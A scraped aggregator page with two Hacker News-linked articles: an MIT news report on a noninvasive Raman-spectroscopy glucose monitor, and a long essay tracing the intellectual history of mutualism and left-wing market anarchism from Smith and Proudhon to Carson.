When the founders of The Atlantic gathered in Boston in the spring of 1857, they wanted to create a magazine that would be indispensable for the kind of reader who was deeply engaged with the most consequential issues of the day. The men and women who created this magazine had an overarching, prophetic vision—they were fierce opponents of slavery—but they were also moved to overcome what they saw as the limits of partisanship, believing that the free exchange of ideas across ideological lines was crucial to the great American experiment. Their goal was to publish the most urgent essays, the most vital literature; they wanted to pursue truth and disrupt consensus without regard for party or clique.

Subscribe to the Atlantic

Noninvasive imaging could replace finger pricks for measuring blood glucose

Hacker News
news.mit.edu
2025-12-08 02:48:53
Comments...
Original Article

A noninvasive method for measuring blood glucose levels, developed at MIT, could save diabetes patients from having to prick their fingers several times a day.

The MIT team used Raman spectroscopy — a technique that reveals the chemical composition of tissues by shining near-infrared or visible light on them — to develop a shoebox-sized device that can measure blood glucose levels without any needles.

In tests in a healthy volunteer, the researchers found that the measurements from their device were similar to those obtained by commercial continuous glucose monitoring sensors that require a wire to be implanted under the skin. While the device presented in this study is too large to be used as a wearable sensor, the researchers have since developed a wearable version that they are now testing in a small clinical study.

“For a long time, the finger stick has been the standard method for measuring blood sugar, but nobody wants to prick their finger every day, multiple times a day. Naturally, many diabetic patients are under-testing their blood glucose levels, which can cause serious complications,” says Jeon Woong Kang, an MIT research scientist and the senior author of the study. “If we can make a noninvasive glucose monitor with high accuracy, then almost everyone with diabetes will benefit from this new technology.”

MIT postdoc Arianna Bresci is the lead author of the new study, which appears today in the journal Analytical Chemistry . Other authors include Peter So, director of the MIT Laser Biomedical Research Center (LBRC) and an MIT professor of biological engineering and mechanical engineering; and Youngkyu Kim and Miyeon Jue of Apollon Inc., a biotechnology company based in South Korea.

Noninvasive glucose measurement

While most diabetes patients measure their blood glucose levels by drawing blood and testing it with a glucometer, some use wearable monitors, which have a sensor that is inserted just under the skin. These sensors provide continuous glucose measurements from the interstitial fluid, but they can cause skin irritation and they need to be replaced every 10 to 15 days.

In hopes of creating wearable glucose monitors that would be more comfortable for patients, researchers in MIT’s LBRC have been pursuing noninvasive sensors based on Raman spectroscopy. This type of spectroscopy reveals the chemical composition of tissue or cells by analyzing how near-infrared light is scattered, or deflected, as it encounters different kinds of molecules.

In 2010, researchers at the LBRC showed that they could indirectly calculate glucose levels based on a comparison between Raman signals from the interstitial fluid that bathes skin cells and a reference measurement of blood glucose levels. While this approach produced reliable measurements, it wasn’t practical for translating to a glucose monitor.

More recently, the researchers reported a breakthrough that allowed them to directly measure glucose Raman signals from the skin. Normally, this glucose signal is too small to pick out from all of the other signals generated by molecules in tissue. The MIT team found a way to filter out much of the unwanted signal by shining near-infrared light onto the skin at a different angle from which they collected the resulting Raman signal.

The researchers obtained those measurements using equipment that was around the size of a desktop printer, and since then, they have been working on further shrinking the footprint of the device.

In their new study, they were able to create a smaller device by analyzing just three bands — spectral regions that correspond to specific molecular features — in the Raman spectrum.

Typically, a Raman spectrum may contain about 1,000 bands. However, the MIT team found that they could determine blood glucose levels by measuring just three bands — one from the glucose plus two background measurements. This approach allowed the researchers to reduce the amount and cost of equipment needed, allowing them to perform the measurement with a cost-effective device about the size of a shoebox.

“By refraining from acquiring the whole spectrum, which has a lot of redundant information, we go down to three bands selected from about 1,000,” Bresci says. “With this new approach, we can change the components commonly used in Raman-based devices, and save space, time, and cost.”

Toward a wearable sensor

In a clinical study performed at the MIT Center for Clinical Translation Research (CCTR), the researchers used the new device to take readings from a healthy volunteer over a four-hour period. As the subject rested their arm on top of the device, a near-infrared beam shone through a small glass window onto the skin to perform the measurement.

Each measurement takes a little more than 30 seconds, and the researchers took a new reading every five minutes.

During the study, the subject consumed two 75-gram glucose drinks, allowing the researchers to monitor significant changes in blood glucose concentration. They found that the Raman-based device showed accuracy levels similar to those of two commercially available, invasive glucose monitors worn by the subject.

Since finishing that study, the researchers have developed a smaller prototype, about the size of a cellphone, that they’re currently testing at the MIT CCTR as a wearable monitor in healthy and prediabetic volunteers. Next year, they plan to run a larger study working with a local hospital, which will include people with diabetes.

The researchers are also working on making the device even smaller, about the size of a watch. Additionally, they are exploring ways to ensure that the device can obtain accurate readings from people with different skin tones.

The research was funded by the National Institutes of Health, the Korean Technology and Information Promotion Agency for SMEs, and Apollon Inc.

Socialist ends by market means: A history

Hacker News
lucasvance.github.io
2025-12-08 02:29:01
Comments...
Original Article

Introduction: Bridging Socialism and Markets

What if the egalitarian goals of socialism could be achieved not by state control, but by harnessing the dynamism of free markets? This is the core idea behind the philosophy of seeking “socialist ends through market means.” It envisions a society where workers and communities achieve economic justice and social welfare through voluntary, decentralized market exchanges rather than centralized state planning. In such a system, markets would still exist – but they would be fundamentally transformed: “markets where workers own the means of production, where everyone is as independent as possible, where the economy is as decentralized and localized as possible” 1 . Advocates of this view, from 19th-century anarchists to modern left-libertarians, argue that the “equation of capitalism and markets” is a tragic misconception 2 . They maintain that free exchange absent state-backed privilege could eliminate exploitation and foster cooperation, essentially delivering socialist outcomes (equality, labor empowerment, an end to poverty) by purely free-market mechanisms 3 . This intellectual tradition draws on the insights of classical economists like Adam Smith, the critiques of capitalism by Karl Marx, and the voluntarist socialism of Pierre-Joseph Proudhon. It gave rise to currents such as mutualism, individualist anarchism, libertarian socialism, and more recently left-wing market anarchism.

Over time, these ideas have emerged, interacted, and diverged from mainstream socialism and capitalism. This report traces their historical development – from the foundational theories of value and exchange in classical economics, through the socialist–anarchist debates of the 19th century, to the evolution of economic thought (marginalism and neoclassical theory) that altered the landscape. We will see why this particular strand of anti-capitalist thought remained largely intellectually marginal and politically “homeless,” even as its proponents insist on its potential to reconcile the critiques of capitalism with the efficiencies and freedoms of market coordination. Along the way, we will also consider how this philosophy resonates with core American values like liberty, individualism, and voluntary cooperation, positioning it as a uniquely American form of radicalism that is neither statist nor corporate . The goal is to provide a structured, accessible intellectual history demonstrating that “socialist ends through market means” is a viable – if underappreciated – alternative to both state socialism and today’s corporate technocapitalism.

Classical Foundations: Adam Smith’s Moral Markets

Every intellectual history needs a starting point, and here it begins with Adam Smith. Smith’s The Wealth of Nations (1776) laid the foundation for classical political economy and the idea that free markets can promote general prosperity. Smith argued that individuals pursuing their own interest could inadvertently benefit society – the famous “invisible hand” concept. However, it would be a mistake to cast Smith as a simple champion of unrestrained capitalist elites. In fact, Smith was deeply wary of concentrated economic power and collusion. He famously observed that “People of the same trade seldom meet together, even for merriment and diversion, but the conversation ends in a conspiracy against the public” 4 . In other words, business owners, if unchecked, tend to form cartels or monopolies that harm consumers and workers. Smith supported breaking up monopolies and dismantling mercantilist state privileges, believing that collusion between government and business leads to monopolies that hurt the working poor by limiting competition 5 . His vision of free markets was thus anti-monopolistic and rooted in moral philosophy – guided by norms of justice, sympathy, and community well-being as he outlined in The Theory of Moral Sentiments .

Smith and other classical economists like David Ricardo also developed the labor theory of value (the idea that labor is the source of a commodity’s value), at least as a long-term measure of price. Paradoxically, this classical labor-value framework would later arm socialist critics of capitalism with arguments that workers were not getting the full value of their labor. Indeed, early 19th-century “Ricardian socialists” (e.g. Thomas Hodgskin and John Gray) took Smith and Ricardo’s value theories to a radical conclusion: if labor alone produces wealth, then private profit, rent, and interest – incomes to owners of capital or land – are unjust extractions from the laborer’s product 6 7 . Thus, while Adam Smith himself was no socialist, his model of a disentangled market order free from feudal privilege helped inspire both liberal and socialist currents. The classical ideal was a market society of independent producers trading on equal footing, without coercive monopolies. This ideal contained a latent promise that some later thinkers would try to reclaim: that free markets, if truly freed from concentrations of power, could serve the common good and even uphold a kind of economic egalitarianism.

Karl Marx and the Socialist Critique of Capitalist Markets

No account of “socialist ends” can ignore Karl Marx, whose critique of capitalism defined the goals of most socialist thought. Writing a few generations after Smith, Marx applauded the productive power of markets but excoriated the social relations of capitalist market economies. In Marx’s analysis, the market under capitalism mystifies real power dynamics: formally, workers and capitalists meet as equals to exchange wages for labor, but behind this exchange of equivalents lies the extraction of surplus value (profit) from labor. Marx famously argued that this system is inherently exploitative – workers are paid less than the value they add, so owners can pocket the surplus. His conclusion was that achieving socialist ends (an end to exploitation and class domination) required abolishing the capitalist market system itself, replacing it with collective ownership of the means of production.

Marx’s vision stood in contrast to any notion of market-based socialism. In fact, Marx bitterly debated those who tried to reconcile socialism with markets. He criticized the “bourgeois socialism” of his contemporaries and specifically took aim at Proudhon, as we’ll see below. Marx’s influence on the socialist movement was enormous: by the late 19th and 20th centuries, to be a socialist typically meant to seek state direction of the economy or at least the abolition of private ownership in favor of public or cooperative ownership, with market exchange severely curtailed or eliminated. Marx’s labor theory of value and theory of exploitation became foundational for socialist economics, but it also became a dividing line. Supporters of market means would have to differentiate their approach from Marx’s even as they embraced his moral critique of capitalism.

Importantly, changes in economic theory eventually undercut Marx’s framework in mainstream circles. The “marginalist revolution” of the 1870s introduced a new theory of value based on subjective marginal utility, overturning the labor-value theory in the eyes of most economists. After this revolution, “the labor theory of value…was rejected by the vast majority of economists” 8 . Neoclassical economics (built on marginalism) argued that in competitive markets each factor of production, including labor and capital, is paid according to its marginal contribution – a narrative that, if taken at face value, leaves little room for a concept of exploitation. This shift in theory made Marxian and Ricardian socialist ideas appear “outdated” or “unscientific” in academic economics. As we will see, those who advocated socialist ends via markets were often working with the older classical concepts or had to reformulate their ideas in light of marginalism. The marginalist turn thus not only split mainstream economics from classical ideas, but it also separated socialist economics into a heterodox corner (Marxism) and left pro-market anti-capitalists without an easy theoretical home in the new orthodoxy.

Proudhon and Mutualism: The First Market Socialist Alternative

Pierre-Joseph Proudhon is the pivotal figure in marrying socialist aspirations with market mechanisms. A contemporary of Marx, Proudhon in 1846 declared “I am an anarchist”, becoming the first person to openly adopt that label. Unlike Marx, who wanted to abolish markets and install a communal economy, Proudhon envisioned a society of independent workers and cooperatives exchanging their products – a vision he called Mutualism 9 10 . Mutualism aimed for “economic organizations” in place of political institutions 9 . In Proudhon’s ideal, people would organize in free federations of producers (both rural peasants and urban workers), coordinating voluntarily rather than by government fiat 11 .

Crucially, Proudhon did not advocate abolishing markets, money, or even all private property – he differed from later communist anarchists on these points 12 . What he opposed was property as exploitative privilege. His notorious slogan “Property is theft!” targeted the kind of property income gained from ownership without labor – for example, a landlord’s rent or a money-lender’s interest. Yet Proudhon also wrote “Property is liberty” when referring to a person’s rightful possession of land or tools they personally use. He distinguished between absentee-owned property, which allows one person to live off another’s labor, and possession or use-rights, which are earned by labor 13 14 . Proudhon’s remedy for the injustices of capitalism was to eliminate the coercive monopolies and artificial scarcities upheld by the state, thereby letting free exchange equalize economic power.

One of Proudhon’s key proposals was the creation of a “People’s Bank” – a system of mutual credit that would provide interest-free or very low-interest loans to workers and cooperatives 9 . By democratizing credit, workers could obtain the capital and land they needed without going hat-in-hand to wealthy capitalists. Proudhon believed that with mutual banking, cooperative associations, and exchange of products based on equivalent labor, competition would ensure that “everyone is entitled to the products of their labor” and no one could passively live off investments 10 . In essence, mutualism is a form of market socialism: it retains market exchange and private ownership, but strives for socialist ends by ending profit, rent, and interest as forms of exploitation. Instead of the Marxist maxim “to each according to need,” mutualism advocated “to each the full product of their labor” via trade of equal labor value 15 .

Proudhon’s ideas had a significant impact in the mid-19th century. He influenced sections of the French labor movement and even served briefly in the revolutionary government of 1848 (where he tried, unsuccessfully, to establish his bank of exchange). His brand of libertarian socialism – stateless, federalist, and market-friendly – stood in contrast to both authoritarian socialism and the emerging communist anarchism of figures like Mikhail Bakunin (who, a generation later, wanted collective ownership without markets). Proudhon’s mutualism can thus be seen as the first systematic attempt at “socialist ends through market means,” grounding a vision of a free society where “any coordination of efforts must be voluntary” 11 and “the only restrictions on individual autonomy are those preventing domination of others” – a theme that would echo in later individualist anarchist thought.

19th-Century Developments: Mutualism to Market Anarchism

After Proudhon, the torch of market-based anti-capitalism was carried by mutualists and individualist anarchists on both sides of the Atlantic. In Europe, Proudhon’s disciples were active in the First International (1860s), initially making mutualism the prevailing creed among French workers. However, they were soon overtaken by Marxists (who advocated political parties and state action) and by collectivist anarchists (Bakunin), who agreed with Proudhon on abolishing the state but not on keeping markets. By the 1870s, most European anarchists moved toward communist or syndicalist ideas (common ownership, general strikes, unions), leaving mutualism somewhat sidelined in European radical movements.

In the United States, however, Proudhon’s legacy found fertile ground. America had a strong tradition of Jeffersonian liberalism, self-reliance, and suspicion of central authority – values quite compatible with mutualist thinking. Individualist anarchism in the U.S. was pioneered by figures like Josiah Warren, often called the first American anarchist. Warren, in the 1820s–1840s, experimented with “Time Stores” where goods were traded based on the labor time required to produce them (“cost the limit of price”), an idea clearly aligned with the labor-value-based mutual exchange 10 . Although Warren’s communities were short-lived, his ideas influenced others such as Stephen Pearl Andrews and William B. Greene (the latter actually established mutual banking systems on a small scale).

The most famous American mutualist-anarchist was Benjamin R. Tucker. Tucker, born 1854, became the editor of Liberty (1881–1908), the leading individualist anarchist journal. He explicitly identified as a “Socialist” in the sense that he sought to end the exploitation of labor, but he was a market socialist in method, calling his doctrine “Anarchistic-Socialism” or “unterrified Jeffersonianism.” Tucker and his circle defended private property in the means of production only so long as it was based on personal use or exchange, not absentee ownership. They fiercely opposed government-granted privilege and monopoly. In an 1892 article Tucker asked: “What causes the inequitable distribution of wealth?” His answer: “It is not competition, but monopoly, that deprives labor of its product.” He argued that if four key monopolies upheld by law were abolished – the land monopoly, the money/banking monopoly, tariffs, and patents – then “down will go interest, rent, and profit,” and “gradually the wages of labor will rise to a level with its product.” 16 In other words, free and competitive markets, without state interference, would eliminate unearned income and ensure workers receive the full fruits of their work. Tucker’s strategy for achieving this was not electoral politics but counter-economic activity: he promoted “alternative institutions” like mutual banks, cooperatives, labor unions (non-bureaucratic ones), and education to gradually build the new society “within the shell of the old” 17 18 .

Ideologically, American individualist anarchists saw themselves as the true liberals – or as Tucker put it, “consistent Manchester men” (a nod to the laissez-faire free-traders Cobden and Bright) except that they extended free competition to all areas, including currency and land 19 . They stood opposed both to the corporate industrialists of the Gilded Age and to the state-socialists of their day. Tucker even translated and championed Proudhon, considering him “the real champion of freedom” as opposed to Marx, “the representative of the principle of authority which we live to combat.” 20 That succinct quote captures the divide: “Marx would nationalize the productive forces; Proudhon would individualize and associate them.” 21 In practice, Tucker’s movement remained small, but it was intellectually vibrant. It produced an array of writings advocating free-market anti-capitalism under labels like “voluntary socialism,” “mutual banking,” “equity commerce,” etc.

By the late 19th century, these American libertarian socialists had identified many injustices of capitalism that mainstream liberals ignored. They critiqued how the American system was “rigged through land grants, tariffs, banking laws,” and other state favors to the wealthy, rather than being a genuine free market 22 23 . In modern terms, they were performing a kind of left-wing “class analysis,” pointing out that capitalism as it existed was a partnership between government and a privileged class – “the corporate State, state capitalism, or just plain capitalism,” as later left-libertarians would say 24 . Notably, this analysis paralleled Marx’s theory of “primitive accumulation” (the forceful dispossession that gave birth to capitalism), and indeed the mutualists acknowledged Marx’s insight on that point. One contemporary mutualist, Dyer D. Lum, and later Kevin Carson, approvingly cite Marx’s observation that workers were “robbed of all their own means of production… by acts written in letters of blood and fire.” This “subsidy of history,” as Carson calls it, meant that the starting conditions of capitalism were profoundly unequal 25 26 . However, where Marx concluded that state action was needed to rectify this, Tucker’s tradition held that the solution was to radically abolish those state privileges and allow genuine free competition to level the playing field 24 .

Despite the coherence of these ideas, by the early 20th century the market anarchist strand was receding. The rise of large corporate trusts, the spread of Marxist socialism, and shifts in the labor movement (toward either political socialism or anarcho-syndicalist unionism) left the individualist anarchists increasingly isolated. When Tucker’s Liberty ceased publication in 1908 (after a fire destroyed his printing equipment), that era largely closed. Additionally, intellectual fashions had changed – the classical labor theories that Tucker and Proudhon relied on were being supplanted by neoclassical economics, as noted earlier. The stage was set for a long period during which “socialist ends via market means” would have few prominent advocates, even as the world grappled with capitalism’s crises and the rise of state-centric alternatives.

The Shift to Neoclassical Economics and Marginalization of Mutualism

As hinted, one reason the mutualist and market-socialist tradition lost visibility was the evolution of economic theory itself. Classical political economy (Smith, Ricardo, etc.) was not only a science of markets but also had moral-philosophical elements – it dealt with questions of distribution, value, and even justice (e.g. the idea that labor should command its product). Early socialists and anarchists worked within this classical framework, sharing a language of “labor, capital, profit, rent” and agreeing on many descriptive points (though not normative conclusions) with liberal economists.

However, around the 1870s–1890s, the Marginalist Revolution transformed economics. Thinkers like William Jevons, Carl Menger, and Léon Walras introduced a subjective theory of value and mathematics-based analysis of supply and demand. By 1900, their neoclassical economics had largely displaced classical economics in universities. One direct effect, as mentioned, was that the labor theory of value was abandoned by most economists 8 . This meant the analytic justification for saying “labor is robbed” became much harder to make in mainstream discourse – economists would respond that each factor (labor, capital, land) gets paid its marginal product in equilibrium, so if workers are poor it must be due to their low productivity or other “natural” causes, not systemic exploitation.

Socialist theorists of course did not buy this argument, but the terms of debate shifted. Marxists stuck with the labor theory and were increasingly viewed as heterodox or ideological by academics. The mutualists, for their part, had been using a similar “cost principle” (that price should equal cost of labor) in their vision of a just market 15 . With marginalism ascendant, mutualist economics started to look outdated. Some individualist anarchists tried to adapt – for instance, late in life Tucker was reportedly impressed by the marginal utility theory, though it did not fundamentally change his opposition to usury. But overall, the intellectual tide moved to abstract models of perfect competition that largely ignored issues of power and monopoly – precisely the issues that “socialist market” advocates had centered.

Another development was the great economic debates of the early 20th century about socialism versus capitalism. The Socialist Calculation Debate (1920s-30s) saw economists like Ludwig von Mises and Friedrich Hayek argue that rational economic calculation was impossible without market prices, while socialist economists like Oskar Lange countered that a planned or simulated market could allocate resources. Notably absent in that debate were the voices of anarchist mutualism – the contest was framed as state central planning vs. market capitalism, with an intermediate idea of “market socialism” (Lange’s model of state-owned firms competing in markets). Mutualists would have rejected state ownership, but also the idea that existing capitalism was a true free market. Unfortunately, by that time, few if any scholars represented the anarchist position; it was an intellectual orphan. Even anarchists themselves were mostly espousing communistic models instead of markets. Thus, the outcome of these debates further entrenched the notion that the only choices were either (capitalist) markets or (socialist) state planning, squeezing out the third option of non-capitalist markets.

In summary, the rise of marginalist/neoclassical thought removed the common language that earlier liberal and socialist economists shared, while 20th-century ideological battles forced alignments that left little room for hybrid ideas. Libertarian socialists who favored markets found themselves without a school in academia and without a major faction in politics, their ideas kept alive mainly in obscure publications or small cooperative ventures.

20th Century: Between State Socialism and Corporate Capitalism

Throughout the 20th century, the world was largely polarized between capitalist and socialist paradigms, leaving minimal space for libertarian-socialist market ideas to grow. On the socialist side, Marxist-inspired movements took power in various countries (Russia, China, etc.) and implemented state socialism – centralized planning and one-party rule – a far cry from the stateless, market-oriented socialism of Proudhon or Tucker. Even in Western democracies, the reformist left gravitated toward social democracy, which still relied on strong state intervention (regulations, welfare programs, nationalizations in some cases) rather than decentralist solutions. Meanwhile, anarchism as a movement experienced a golden moment during the Spanish Civil War (1936–39) where anarcho-syndicalists collectivized large parts of the economy. Yet even those anarchists, inspired by Bakunin and Kropotkin, abolished markets in favor of communal distribution in many areas; they saw money and markets as bourgeois institutions. The mutualist idea of maintaining markets with egalitarian rules was mostly absent in Spain’s revolution, as anarchist-communist ideas prevailed.

On the other end of the spectrum, the capitalist world underwent its own evolution – by mid-century, “free market” rhetoric coexisted with large-scale corporate power and government-corporate partnerships (especially during world wars and the Cold War). In the United States, a new political identity emerged: “libertarianism” in the modern sense, which championed free-market capitalism and minimal government. This libertarian movement (figures like Ayn Rand, Milton Friedman, and later Murray Rothbard) appropriated much of the language of individual liberty and anti-state politics, but aligned it with defense of capitalist property relations and corporate enterprise. Some early libertarians, like Murray Rothbard, did initially embrace aspects of the Old Left’s anti-corporate stance – Rothbard in the 1960s allied with the New Left against war and even supported ideas like worker “homesteading” of defense contractors 27 . However, by the 1970s, Rothbard and many libertarians moved rightward, focusing on tax cuts and deregulation, and often courting conservative allies. Thus, in mainstream discourse, “free market” came to be synonymous with defending the status quo of corporate capitalism , not overturning it.

Yet, the free-market anti-capitalist undercurrent did not vanish completely. It survived in small circles often called the libertarian left or left-wing market anarchists. For example, in the 1960s–70s, Karl Hess (a former Goldwater speechwriter turned left-libertarian) argued that the true libertarian spirit was about “the distribution of power into the maximum number of hands” and opposition to both big government and big business 28 . Another figure, Samuel Edward Konkin III, developed Agorism, a strategy of building a counter-economy through black and grey markets to undermine the state-capitalist system – essentially a revolutionary market anarchism. These voices remained fringe, but they kept the idea alive that one could be pro-market and vehemently anti-capitalist.

By the end of the 20th century, the global triumph of neoliberal capitalism (and the collapse of the Soviet bloc) left even many socialists rethinking markets. Some embraced “market socialism” in a limited form – e.g. Yugoslavia’s worker-managed firms in a market setting, or Western economists proposing various hybrid models. However, these proposals typically still involved a state framework or were confined to academic thought experiments. They did not revive the anarchistic market socialism that Proudhon or Tucker had envisioned, which required a thoroughgoing dismantling of state power and corporate privilege. In the public imagination, “socialism” meant the state or at least planning, and “free markets” meant capitalism. The libertarian socialist minority that rejected this dichotomy remained largely politically homeless – too socialist for the libertarian right, too market-friendly for the socialist left. As one historian observed, in the 19th century “‘socialism’ did not exclusively mean state ownership... it was an umbrella for anyone who believed labor was cheated of its natural product under capitalism” , but by the 20th century that broader definition had narrowed, excluding the anti-state, pro-market socialists from the socialist mainstream 7 .

21st-Century Revival: Left-Libertarians and Market Anarchists Re-emerge

In recent decades, there has been a modest revival and intellectual consolidation of the “socialist ends, market means” tradition. Scholars, activists, and writers identifying with left-libertarianism or left market anarchism have built upon the old mutualist ideas while updating them for contemporary issues. Key figures include Kevin Carson, Roderick T. Long, Gary Chartier, Charles Johnson, and Sheldon Richman, among others. These thinkers often collaborate through organizations like the Alliance of the Libertarian Left (ALL) and the Center for a Stateless Society (C4SS) 18 . They explicitly see themselves as both libertarians and leftists 29 – meaning they uphold property rights and voluntary exchange and they center concerns of economic justice, class inequality, and labor empowerment.

For example, Kevin Carson’s works (such as Studies in Mutualist Political Economy , 2004) draw from both classical socialist critiques and libertarian Austrian economics. Carson echoes the 19th-century revisionist history that the Age of Capitalism was never a true free market but rather a story of state-backed “primitive accumulation,” subsidies, and ongoing corporate welfare 30 26 . He argues that if those supports were removed, “freed markets” would naturally tend toward far less concentration of wealth – a world of small firms, worker cooperatives, self-employed artisans, and peer-to-peer production. In Carson’s view, “free-market anti-capitalism” is not an oxymoron but a realization of what genuine free exchange would look like 31 . Similarly, philosopher Roderick Long describes this ideal as “markets freed from capitalism” and has termed it “dialectical anarchism” or “left-wing market anarchism.” Long and others emphasize that there is historical precedent for pro-market radicalism being on the Left – noting that in the 19th century, laissez-faire liberals like Bastiat sat on the left side of the assembly with socialists, united in opposing the throne and the plutocracy 32 .

A landmark of this revival is the anthology “Markets Not Capitalism” (2011) edited by Johnson and Chartier, which compiles classic and modern essays on these themes. Its introduction encapsulates the crux of the argument: “Individualist anarchists believe in mutual exchange, not economic privilege… freed markets, not capitalism.” It explains that mass inequalities and corporate power are not the results of the market form per se, but of markets “deformed and rigged by a network of state-secured controls and privileges to the business class.” 33 Remove those coercive props, and market exchange could “abolish structural poverty, help working people take control over the conditions of their labor, and redistribute wealth and social power.” 3 These are bold claims – essentially that the radical leftist goals of ending poverty and empowering labor are achievable by radicalizing the right-libertarian call for free markets.

In practice, today’s left-market anarchists advocate a mix of grassroots counter-economics and policy shifts to dismantle corporate welfare. They support worker cooperatives, mutual aid networks, community land trusts, crypto-currency and local currencies, open-source production, and other forms of decentralization as the building blocks of a free society. They also engage in critique of existing institutions: for instance, pointing out that corporations like Walmart are profitable only because of infrastructure subsidies, eminent domain land grabs, and labor laws that weaken worker bargaining – all government interventions 34 35 . In place of both the corporate capitalist and the bureaucratic socialist models, they envision a pluralistic system of “worker-owned enterprises, co-ops, partnerships, and sole proprietorships” competing and cooperating in a true free market 36 37 .

This contemporary resurgence remains small relative to the dominant ideologies, but it has provided a more coherent identity to the tendency. It has also brought some engagement from outside voices: for example, traditional libertarian forums have had to acknowledge left-libertarians, and some leftists have shown interest in market mechanisms for socialism in the context of new technology (e.g. discussions of distributed manufacturing or the “sharing economy” often echo left-market anarchist themes). Still, no major political party or mass movement has adopted this banner. Intellectually, it exists at the intersection of academic anarchist studies, heterodox economics, and online communities, rather than in the halls of power.

Why the Marginalization? Intellectual and Political Barriers

Given its intriguing promise to unite the best of socialism and capitalism, why does this philosophy remain so marginal? Several historical and structural reasons stand out:

  • Captured Language and Identity: Over the 20th century, the terms “socialism” and “free market” became polar opposites in popular and political discourse. Each term was “claimed” by movements that were hostile to the hybrid approach. As noted, by the mid-20th century socialism was largely identified with state-oriented solutions, while free-market advocacy was identified with defense of capitalism. This left little conceptual space or vocabulary for a synthesis. Advocates found themselves constantly having to explain that by “socialism” they don’t mean Soviet-style planning and by “market” they don’t mean corporate plutocracy. Such nuance is a hard sell in mass politics, which runs on clear labels and alliances. In short, the philosophy was stranded in a semantic no-man’s-land, unintelligible to the partisan crowds.

  • Enemies on Both Sides: Those pursuing socialist ends via market means often found “no permanent friends, only permanent interests” – and their interests threatened those of entrenched camps. To economic elites and pro-capitalist ideologues, this left-libertarianism is seen as a Trojan horse for socialism, aiming to take away their privileges and distribute power widely. To orthodox socialists and labor leaders, it smacks of “bourgeois” economics and distrust of the collective action (especially distrust of using the state or large unions). Throughout history, this has meant isolation. For example, Tucker’s anarchists were shunned by both mainstream American leftists (who were moving toward progressive reforms and later Marxism) and by emerging pro-capitalist libertarians. Likewise today, left market anarchists often note wryly that right-libertarians call them “socialists” while many leftists call them “just libertarians in disguise.” This adversarial climate makes coalition-building exceedingly difficult; they lack a natural political base or sponsor.

  • The Intellectual “Cold War” dynamics: In the Cold War era, everything even remotely socialist was suspect in capitalist countries, and everything market-like was suspect in communist countries. This hardened the dichotomy. In the U.S., for instance, the Red Scare and McCarthyism pushed any socialism to the margins, including libertarian socialism. Meanwhile, the rise of neoliberal thought (Chicago School, etc.) meant academic economics and policy circles were dominated by pro-corporate market thinking, not interested in anti-capitalist market ideas. The entire context was unfavorable for cross-pollination of ideas. It is telling that only after the Cold War, in the 2000s, did the left-libertarian revival gain a bit of traction once the strict ideological battle lines had eased slightly.

  • Economic Theory and Complexity: As discussed, the shift to neoclassical economics removed some intellectual tools that early market socialists had used. The marginal productivity theory gave a benign explanation for profit and interest, making the mutualist claims seem naive or false in orthodox terms. Only in recent years have economists (like those studying monopsony labor markets, or wealth inequality, or cooperative firms) begun to acknowledge dynamics that vindicate some of the old critiques (e.g. that employers can have power to set wages below productivity, etc.). But for most of the 20th century, the academic consensus left little room for the critique of exploitation via markets. The left-libertarians themselves had to engage deeply with economic theory to be taken seriously – which they did (Carson, for example, engages with Austrian and Marxian economics to formulate his “subjective cost” mutualism). Still, this makes the barrier to entry high: the ideas are not easily reducible to soundbites. They require fluency in both the language of radical politics and of economics, a combination not common even among intellectuals, let alone the general public.

  • Lack of Demonstration Effect: Unlike state socialism or standard capitalism, there has never been a large-scale society explicitly organized on “socialist market anarchist” principles to serve as a proof of concept. Parts of Spain in 1936, or isolated communes, or the cooperative sector in places like Catalonia or Emilia-Romagna, hint at pieces of it but are not full models. Without a concrete example, the philosophy can be dismissed as utopian by skeptics. State socialists could once point to the USSR or Sweden’s welfare state; capitalists to the prosperity of the U.S. or Western Europe. The anarchist alternative had only thought experiments and limited experiments. This has made it harder to convince people that it’s practical. (It’s a cruel irony that being out of power perpetuates the perception of incapability of being in power , a catch-22 for radical alternatives.)

  • Intentional Marginalization: It’s worth noting that many left-market anarchists themselves eschew mainstream politics by principle. They are suspicious of electoral power, lobbying, or top-down implementation. Tucker, for example, refused to vote or engage in party politics; modern groups like C4SS focus on education and grassroots action, not fielding candidates. This ethical stance of anti-statism means they often don’t even try to “play the game” of political power that could raise their profile. While this keeps their ideas pure, it also virtually guarantees marginality in a world where policy change usually requires political machinery.

In sum, the strand of thought aiming for socialist ends via market means stayed on the fringes due to a mix of historical accidents, ideological turf wars, and the inherent difficulty of advocating a nuanced synthesis in a polarized environment. It never found a secure patron or mass base. Yet, those very same factors also highlight its enduring relevance: it persistently critiques both big government and big business, which remain the dominant forces today. As long as people feel alienated by bureaucratic authority and enraged by corporate exploitation, the philosophical tools forged by Proudhon, Tucker, and Carson will have something to offer – even if from the shadows.

American Values and the Libertarian Socialist Tradition

While not the central focus, it is worth noting how deeply American the ethos of “socialist ends through market means” can be. The United States has a strong cultural lineage of valuing liberty, individualism, and voluntary cooperation – from the town hall meetings of early New England, to the frontier spirit of self-organization, to the wariness of aristocracy and monopoly shared by many Founders. Libertarian socialism in the mutualist mold taps into these same values. It insists that genuine freedom means freedom for everyone , not just those with property or power, and that freedom is best preserved by dispersing power rather than centralizing it. This parallels the American revolutionaries’ distrust of kingly or parliamentary authority, extended now to distrust economic kings and bureaucrats alike. As Voltairine de Cleyre (an American anarchist) argued in her 1908 essay “Anarchism and American Traditions,” the spirit of anarchism – “the extension of freedom and the abolition of old tyrannies” – is a logical progression of the best in America’s own republican-democratic heritage.

American libertarian socialists like Tucker explicitly framed their ideas in terms of American individualism. Tucker admired Thomas Jefferson and often invoked “the right of individual sovereignty” much as the Declaration of Independence had. But unlike classical liberals, he saw capitalism’s monopolies as violating the equal rights of individuals. In one contrast he drew, Marx wanted authority (the state) to redistribute wealth, whereas Proudhon (and by extension Tucker) wanted to “individualize and associate” economic life – i.e. maximize freedom and voluntary association 20 . That goal aligns with the American preference for voluntary cooperation (think of barn-raisings, mutual aid societies, cooperatives, and other self-help institutions that flourished in U.S. history). Even “ rugged individualism,” often thought to be purely capitalist, has its counterpart in the mutualist vision: each person is indeed self-determining, but in a society of equals where no one can dominate another through privilege.

